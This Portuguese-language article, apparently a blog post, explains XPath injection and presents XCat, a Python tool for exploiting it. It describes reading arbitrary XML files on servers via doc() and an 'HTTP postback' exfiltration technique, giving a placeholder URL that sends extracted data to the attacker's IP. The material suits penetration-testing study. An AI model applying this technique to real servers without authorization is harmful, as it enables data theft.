Algumas pessoas já devem ter ouvido falar alguma coisa sobre XPath Injection, mas talvez não saibam do que se trata. Por isso, antes de falar das funcionalidades do xCat, é interessante saber o que é uma injeção XPath, e como pode ocorrer. XPath é uma linguagem desenvolvida para endereçar partes de um documento XML, projetado para ser usado por XSLT e XPointer.
Os ataques de injeção XPath ocorrem quando um site utiliza informações fornecidas pelo usuário, para construir uma consulta XPath para dados XML. Enviando informações intencionalmente mal formuladas ao recurso Web, é possível descobrir como os dados XML são estruturados, ou acessar informações, que normalmente, não poderiam ser acessadas. Este tipo de ataque é muito semelhante aos de injeção SQL, sem que haja quaisquer limitações do mesmo.
Mas o que é o XCat ?
Agora que já foi explanado o que é o XPath, falaremos sobre o XCat: ele é um programa de linha de comando, que assessora nos processos de exploração de vulnerabilidades XPath Injection. O software é de fonte aberta, e foi programado em Python, além de possuir uma ampla gama de recursos e poder utilizar os recursos mais avançados da especificação XPath 2.0 (pattern matching - padrão de correspondência -, normilization unicode e http requests).
Características Principais da Ferramenta
O XCat apresenta algumas características importantes, como exploração de ataques GET e POST, extração de todos os nós, comments, atributos e dados a partir de documentos XML, solicitações paralelas, suporte à XPath 2.0, postback de dados avançados através de HTTP, leitura arbitrária de arquivos XML nos servidores do sistema de arquivos, através da função doc().
XCat é construído para explorar injeções de XPath, onde apenas um bit de dados pode ser extraído através de um único pedido. O que torna esta ferramenta ainda mais interessante, é que ela exige que haja uma identificação manual desde a primeira façanha realizada. Isto reforça o nível de inteligência, e como se dá o controle através dos pentesters.
Há uma grande possibilidade de que o recurso mais avançado do XCat seja sua característica "postback HTTP". O esquema XPath 2.0 define uma função chamada "doc", que permite ao programador carregar documentos externos do sistema de arquivos, ou até mesmo um recurso de rede remota via HTTP / HTTPS.
Caso a função esteja ativada e funcionando, então XCat irá utilizá-lo sempre que possível, para acelerar o processo de recuperação de documentos. Ele faz isso, executando um pequeno servidor HTTP através de uma porta especificada e, em seguida, chamando o doc() com o nó URI, atualmente alvo de dados codificados e anexado a uma consulta. Isto significa que a biblioteca XPath irá fazer uma solicitação HTTP para o seu IP (requisição da porta a ser encaminhados e/ ou um IP público) no seguinte formato:
http://YOUR_IP/?q=some%20data%20goes%here
A eficiência dessa ação, é muito maior do que a iteração sobre a string de caracter por caracter, e pode reduzir significativamente os tempos de recuperação. O pentester pode utilizar essa função para carregar o arquivo XML no sistema, desde que tenha permissões de leitura sobre ele, possibilitando a recuperação de lotes de arquivos de configuração XML.
Links de Interesse:
- Github XCat Downloads
- XPath Injection